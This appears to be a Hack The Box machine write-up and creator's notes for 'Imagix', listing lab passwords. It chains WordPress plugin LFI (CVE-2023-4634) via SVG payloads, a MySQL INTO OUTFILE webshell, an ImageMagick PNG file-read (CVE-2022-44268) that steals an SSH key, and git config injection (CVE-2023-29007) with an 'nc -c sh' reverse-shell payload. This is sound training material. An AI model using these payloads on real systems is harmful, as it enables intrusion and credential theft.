# Imagix
## Introduction
Imagix is a design company specializing in various services, including graphic design, web design, and brand logo creation. However, a significant vulnerability has been detected in a WordPress plugin used to manage images.
The vulnerability lies in the mishandling of the Imagick() function of the ImageMagick utility, which allows a potential attacker to access and read local files on the server. An attacker could exploit this to access the WordPress configuration file, wp-config.php, thus obtaining credentials to access the MySQL database. With these credentials, the attacker could leverage the GRANT FILE privileges to upload a WebShell onto the web server.
Furthermore, the system also runs the ImageMagick utility, which has been identified as a vulnerable version of the software. This vulnerability allows access to the private key of the user wacky.
The wacky user has the ability to initialize and deinitialize Git submodules, as well as commit changes as the root user. Wacky identified a vulnerable version of Git that allows him to add arbitrary configurations to the `.git/config` file through a buffer overflow greater than 1024 bytes in the submodule URL field.
## Info for HTB
### Access
Passwords:
| User | Password |
| ----- | ----------------------------------- |
| MySQL wordpress | rSV16oHhV5 |
| MySQL root | 8ogf5E818u |
| wacky | 3kp5KT8Fx32P679y |
| root | nWEOZ86faES1CoD9 |
| Wordpress Login | zyDKWOi6Dn4q4iUr |
### Key Processes
HTTP: 80
SSH: 22
MYSQL: 3306
I achieve LFI through port 80 (WordPress) using the Media Library Assistant plugin version 3.09 (CVE-2023-4634).
I manage to read `wp-config.php` and access MySQL via port 3306. I can upload a webshell to the server due to the `GRANT FILE` privilege.
I exploit a background task that processes images and manage to read `id_rsa` from `wacky` through ImageMagick version 7.1.0-49 (CVE-2022-44268).
I take advantage of CVE-2023-29007 to include arbitrary configuration to the repository's `.git/config` file.
### Automation / Crons
```bash
#!/bin/bash
#Script for resizing images
dir="/var/www/html/wp-content/uploads"
/usr/bin/find "$dir" -type f -name "*.png" -print0 | while IFS= read -r -d $'\0' file; do
filename="${file%.*}"
/usr/local/bin/convert "$file" -resize 800x -density 96 -units pixelsperinch "${filename}_resized.png"
/usr/bin/mv "${filename}_resized.png" "$file"
done
```
```
#!/bin/bash
ROOT_PATH="/root/backup"
REPO_PATH="/var/www/html"
GITMODULES="$REPO_PATH/.gitmodules"
GITCONFIG="$REPO_PATH/.git/config"
BACKUP_GITMODULES="$ROOT_PATH/.gitmodules.bak"
BACKUP_GITCONFIG="$ROOT_PATH/.config.bak"
restore_gitmodules() {
if [ -f "$BACKUP_GITMODULES" ]; then
cp -f "$BACKUP_GITMODULES" "$GITMODULES"
fi
}
restore_gitconfig() {
if [ -f "$BACKUP_GITCONFIG" ]; then
cp -f "$BACKUP_GITCONFIG" "$GITCONFIG"
fi
}
cleanup() {
restore_gitmodules
restore_gitconfig
}
cleanup
```
This script is executed periodically on the machine every 5 minutes to restore the exploit environment from scratch. The directory /root/backup contains the files `.gitmodules.bak` and `.config.bak`. These files are copied to `.gitmodules` and `.git/config`, respectively, to ensure that the environment is correctly restored.
### Other
Remote command execution with CVE-2023-4634 is not possible due to no internet access.
To work around the alternative path using git hooks, implement the `--no-verify` parameter in the git command to avoid running the hooks.
**IMPORTANT**: I'm writing this after submitting the machine, there is an alternative way to escalate privileges and I hadn't realized until now, when the user can run `sudo git commit -a` it will open a default code editor: nano, to avoid this you should run `sudo git config --global core.editor` “true” as root, this way when git tries to look for a code editor it won't open anything. This way users will be able to take advantage of the corresponding CVE.
As shown in the following image, true will be set as the default global editor.

Another alternative way that the attacker could use is to create their own .git repository and add a reverse shell as their text editor in the config file. Then, when they run git commit -a, that editor (which is actually a reverse shell) will open because Git first looks at the config file before moving to the global configuration.
To fix this issue, my idea has been to create an alias for git commit to git scommit (the "s" stands for safe). The idea is to only allow commits in /var/www/html and not in other directories. Here is how the .gitconfig file would look:
```
[user]
email = wacky@imagix.htb
name = wacky
[core]
editor = true
[alias]
scommit = "!f() { if [ \"$(pwd)\" = \"/var/www/html\" ]; then git commit \"$@\"; else echo 'Commits are not allowed in this directory.'; fi; }; f"
```
Additionally, you would need to change the command that the user can run as root from git commit to git scommit.
Sorry for these alternative methods; I didn't realize it until I sent it.
# Writeup
```
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.245 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.241
```

The scan has detected three open ports: 22 (SSH), 80 (HTTP), and 3306 (MySQL). Port 80 appears to be hosting a WordPress site. Furthermore, we have identified a domain named `imagix.htb`. Accessing it reveals that virtual hosting is being utilized.

We add this domain to the `/etc/hosts` file and see what's there.

A design company. We can see what services they offer to better understand their work.

We appreciate that they offer various design services. Knowing they use WordPress, we can identify the theme name at the bottom right.

If we search for vulnerabilities in this theme, we won't find anything interesting. We can also scan the plugins being used. I'll use WPScan for that.

We've identified two plugins: 'wpzoom-forms' for creating forms and 'wpzoom-portfolio' for designing portfolios. Both plugins are up to date with their latest versions. While searching for vulnerabilities, we didn't find any.


Knowing that WPScan doesn't perform a comprehensive plugin scan, we can try downloading a dictionary containing the names of commonly used plugins and then perform fuzzing on the typical plugin path, `/wp-content/plugins/`.

I will download the plugin dictionary I found on GitHub from https://raw.githubusercontent.com/Perfectdotexe/WordPress-Plugins-List/master/plugins.txt.

Now I will apply brute force using `gobuster`.

We can see that 'gobuster' has identified three new plugins. Checking the plugin versions from `readme.txt`, I found that 'media-library-assistant' (used for image management and processing) has an outdated version.

If we look at the latest version of this plugin, we identify it as 3.12.

While searching for vulnerabilities in version 3.09, I found CVE-2023-4634. This CVE indicates that this version is vulnerable to LFI and RCE attacks.

While searching for a Proof of Concept (PoC) for this vulnerability, I came across a very interesting article that instructs on how to exploit LFI and achieve RCE by abusing the `Imagick()` function.

https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/
## Proof of Concept (CVE-2023-4634)
In the PoC, it explains that the file `mla-stream-image.php` allows direct access to `class-mla-image-processor.php,` which would enable reaching the `MLAImageProcessor::mla_process_stream_image()` function with an unauthenticated parameter `$_REQUEST['mla_stream_file']`.

In this file, we find the `mla_process_stream_image()` function, which is responsible for generating thumbnails for local PDFs. However, it first checks if the file exists locally.

If the file exists, it proceeds to the `ghostscript_convert` function. If this is successful, it obtains a PNG extract from the PDF; otherwise, it attempts to load the image using the `ReadImage` method of `Imagick`.

At this point, we could potentially point to system PDF files and view them, but it would require knowing the absolute file path. Besides, it wouldn't be very useful. If you attempt to load a PHP file, it won't work because Ghostscript and Imagick don't understand the format.
Attempting to load a file from `http://` or `https://` wouldn't work because the `is_file` function is not compatible with these protocols. Therefore, the article provides us with a very interesting alternative.

`is_file()` is working with all containers that support the `stat()` family of features.
Perfect, at this point, we can already load remote files controlled by us from FTP into the Ghostscript or Imagick functions.
If we run a test, we will see that it works. We create a file named `file.txt` and another named `file.txt[0]`. The second file is the one that the Imagick framework will convert since `_ghostscript_convert` will consistently fail when using `ftp://` as input.
We access `http://imagix.htb/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://10.10.11.240:2122/file.txt&mla_debug=log` to request the file.
If we check our FTP server, we will see that the `Imagick()` function has requested the file `file.txt[0]`.

The idea is to force Imagick to use its own scripting language called MSL (Magick Scripting Language). This could allow us to move a remote PHP webshell file into the WordPress directory, where 'virus.png' is just a PNG polyglot file with PHP.
However, we can't activate the MSL interpreter directly.
```
─$ php -r '$test = new Imagick("file.msl");'
PHP Fatal error: Uncaught ImagickException: no decode delegate for this image format ' @ error/constitute.c/ReadImage/581 in Command line code:1
```
This is because Imagick won't recognize it or will think it's an SVG.

To activate it, we would have to specify the `msl://` formatter, but this would prevent it from passing through the `is_file()` function, which wouldn't be useful for us.
## Local File Reading with SVG
In the PoC, an alternative avenue is mentioned: the use of SVG, as it can utilize external files and references.
When using the default SVG parser, it takes SVG tags and converts them into internal ImageMagick instructions in a format called MVG (Magick Vector Graphics Metafiles). Then, the MVG parser processes these instructions and calls the `DrawImage()` function in ImageMagick to perform image composition. Composition is the process of combining images in various ways, and in this case, the 'Over' option is used.
At this point, we can think about overlaying text on an image with ImageMagick using the 'composite' function, thus achieving an LFI. However, we would need to adjust the length and width to make it readable.
We will create an SVG file that will represent a blank image with specific width and height dimensions. Then, we will use the `text://` formatter to overlay text on this image and adjust the width and height dimensions to make the text legible.
`file.svg[0] and file.svg to pass verification`
`File read /etc/passwd`
```xml!
<svg width="500" height="500"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href= "text:/etc/passwd" width="500" height="500" />
</svg>
```
We open the FTP server hosting `file.svg[0]` and `file.svg` and see that we receive a response from `10.10.11.241`.

And there we go, we manage to view the contents of `/etc/passwd`. We see that there is a user named `wacky`.
Request: `http://imagix.htb/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://10.10.11.240:2122/file.svg&mla_debug=log&mla_stream_height=800&mla_stream_width=800`

I tried looking at wacky ssh private key but no luck.
```xml!
<svg width="500" height="500"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href= "text:/home/wacky/.ssh/id_rsa" width="500" height="500" />
</svg>
```

I managed to access `wp-config.php` through a path traversal and obtained the database password, `rSV16oHhV5`.
```xml!
<svg width="500" height="500"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href= "text:../../../../wp-config.php" width="500" height="500" />
</svg>
```

## Foothold
The earlier scan revealed an open port 3306. We can try to connect using the username `wordpress` and password `rSV16oHhV5`.

Perfect, we have access to the database as the user `wordpress`. When we inspect the user's privileges, we can see that it has the `GRANT FILE` privilege.

This privilege allows the use of the `INTO OUTFILE` functionality, which is used to export query results to files in CSV and other formats.
However, this also allows writing PHP files. We can select a string (webshell code) and name it as "content" using the "AS" clause. With `INTO OUTFILE`, we can tell it to write that content to a file called `webshell.php`, for example.
The only challenge is that we must know the absolute path where the web server is running. We can verify this by accessing the WordPress configuration file called `wordpress.conf` located in `/etc/apache2/sites-available/wordpress.conf`.

## Webshell upload
It seems that the web server is running in `/var/www/html`. We can write the webshell in that directory.

If we try to access this file and run the `whoami` command, we can see that it works.

At this point, we can send a reverse shell to our host using `mkfifo`.

And in our terminal:

We now have access to the machine as the user `www-data`. We can set up a TTY to navigate more comfortably.
```bash
script /dev/null -c bash
CTRL + Z
stty raw -echo; fg
reset
xterm
www-data@imagix:/var/www/html$ export TERM=xterm
www-data@imagix:/var/www/html$ export SHELL=bash
```
## Pivoting to the wacky user
We know that there is a user named `wacky` on the system. We should try to pivot to this user. If we look at the tasks that run at regular intervals on the system, we can see that `wacky` with UID `1000` is constantly running a script located in `/home/wacky/resize_images.sh`.

I don't have read permissions on this script.

But we can infer that it's a script that resizes images at a given location.
If we look at the system-level commands it executes, we can see that it uses the `convert` utility from ImageMagick.

It's applying the command with the following parameters:
1. `-resize 800x`: Resizes the image to a width of 800 pixels.
2. `-density 96`: Sets the pixel density per inch (PPI) to 96.
3. `-units pixelsperinch`: This part sets the unit of measurement for density in pixels per inch (PPI).
It seems to execute this command to process PNG images uploaded to the server or already existing. This can be used to automate image resizing and processing.
We can check the version of ImageMagick it's using with the `convert --version` command.

If we search for vulnerabilities in this version, we find that it's vulnerable to arbitrary local file reading.
## CVE-2022-44268

This vulnerability, identified as CVE-2022-44268, would allow an attacker to read local files on the machine by exploiting a malicious PNG image.

I found a PoC on GitHub to exploit this vulnerability: https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC
The idea is to try to read the SSH private key of `wacky` in `/home/wacky/.ssh/id_rsa`.
To infect the image, we can follow this process. The first command will add custom metadata to the image, and the second command is used to verify that the metadata has been injected correctly.
`$ pngcrush -text a "profile" "/home/wacky/.ssh/id_rsa" image.png`

The resulting PNG file named `pngout.png` can be used to apply the `convert` functionality of ImageMagick to our image.
If we inspect the command that runs at regular intervals, we can see that the conversion of PNG images is applied in `/var/www/html/wp-content/uploads/2023/10/`.
Since we have write permissions in this directory, we can download the image there and wait for the command to do its magic.

Once the command is executed, we can run `identify -verbose pngout.png` to verify that the content of `id_rsa` has been successfully read. The content is in hexadecimal format, but this is not a problem.

We can use the following Python3 command to decode the bytes into a text string. Since the `id_rsa` is quite large, we save it in a file named `id_rsa` and apply the command.
```python
python3 -c 'print(bytes.fromhex(open("id_rsa", "r").read().strip()).decode("utf-8"))' > output_id_rsa.txt
```

Perfect, we have the decoded `id_rsa`. We can now try to SSH in using this private key as an identity.

## Brute Force of id_rsa
It appears that this private key is encrypted. We can try to break the password using the 'ssh2john' utility. We execute the command 'ssh2john id_rsa' to extract the resulting hash from 'id_rsa'.

We save this hash in a file named 'hash' and proceed to brute force it using 'john' with the rockyou.txt dictionary.

We managed to crack the hash, and the password for the private key is 'mahalko'. Now we can authenticate as the 'wacky' user via SSH.

Now we can see the user's flag.

# Privilege escalation
For privilege escalation the user wacky is allowed to execute certain git commands as any user.
```
wacky@imagix:/var/www/html$ sudo -l
Matching Defaults entries for wacky on imagix:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User wacky may run the following commands on imagix:
(ALL) NOPASSWD: /usr/bin/git submodule init, /usr/bin/git submodule deinit -f *, /usr/bin/git commit --no-verify -m *, /usr/bin/git commit --no-verify -a
```
If we look at the /var/mail directory we find an email from john.
```
wacky@imagix:/var/mail$ cat john
From: john@imagix.htb
To: wacky@imagix.htb
Subject: Important Git Change: Submodule Deletion
Hello Wacky,
Hope your day is going well! I need you to make a small adjustment in our Git repository. We're simplifying things a bit and removing a submodule we no longer need.
The submodule in question is ImageMagick. Don't worry, it won't affect your work at all; we're just tidying up a bit, so to speak.
Here's the action plan:
Open the repository on your machine.
Use the command git submodule deinit -f vendor/ImageMagick to get rid of the submodule.
Remove all references to the submodule from the .gitmodules file and the .git/config file.
Commit with a message like "Removed ImageMagick".
And that's it!
Let me know if you have any questions or need a hand with this. I'm here to help.
Thanks for your flexibility and quick action!
Best regards,
John
```
It tells us that we must remove the ImageMagick submodule and shows us the steps to follow.
If we look at the git version we will see that is 2.39.2

If we search for this version in internet we find the following CVE.
## CVE-2023-29007

This vulnerability is related to the initialization and deinitialization of Git submodules. An attacker can exploit this by including a buffer larger than 1024 bytes in the url field of the .gitmodules file, which can lead to arbitrary configuration injection into the .git/config file.
This is relevant to us because it affects our version of Git. If we recall the commands we could execute previously, we see that git commit --no-verify -a allows us to commit changes to the source code tracked by Git. The --no-verify parameter prevents Git hooks from being executed during the commit process.
For this vulnerability to work, our current user “wacky” must have write permissions on the .gitmodules file.

Users who are in the submodule-writers group can read and write in this group, we are indeed part of this group.
```
wacky@imagix:/var/www/html$ id
uid=1000(wacky) gid=1000(wacky) groups=1000(wacky),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),1001(submodule-writers)
```
To exploit the vulnerability I will copy the url field of the .gitmodules file from the following repository [.gitmodules](https://github.com/ethiack/CVE-2023-29007/blob/main/.gitmodules) into our .gitmodules file.
We will change the field [core] sshCommand by [core] editor followed by the command we want to execute, this is because we want to take advantage of the command git commit --no-verify -a that will try to open the code editor that we have configured, in this case it will execute the command that we have provided.

We will start by uninitializing the “vendor/ImageMagick” submodule because it is initialized.

Right after that we start it again but with our payload in the .gitmodules file.
```
wacky@imagix:/var/www/html$ sudo git submodule init
Submodule 'vendor/ImageMagick' (https://github.com/0xacb/test.git [core] editor = `nc -c sh 192.168.1.139 443`#ERROR: Please run `git submodule deinit --all && git pull` to fix the submodule ) registered for path 'vendor/ImageMagick'
```
We will see that our .git/config file has in the part of our url our payload, but this is still part of the url, to exploit the vulnerability we must uninitialize the submodule again.
```
wacky@imagix:/var/www/html$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[submodule "vendor/ImageMagick"]
active = true
url = "https://github.com/0xacb/test.git [core] editor = `nc -c sh 192.168.1.139 443`#ERROR: Please run git submodule deinit --all && git pull` to fix the submodule
```
```
wacky@imagix:/var/www/html$ sudo git submodule deinit -f vendor/ImageMagick
Cleared directory 'vendor/ImageMagick'
warning: Could not unset core.worktree setting in submodule 'vendor/ImageMagick'
Submodule 'vendor/ImageMagick' (https://github.com/0xacb/test.git [core] editor = `nc -c sh 192.168.1.139 443`#ERROR: Please run `git submodule deinit --all && git pull` to fix the submodule ) unregistered for path 'vendor/ImageMagick'
```
Now if we finally look at the .git/config file we will see that indeed our payload has been included as a new configuration in the file with

Finally we listen to nc and execute the command `sudo git commit --no-verify -a`.

You are left wondering why you cannot open the code editor, which is actually our reverse shell. Now we can see the root flag.
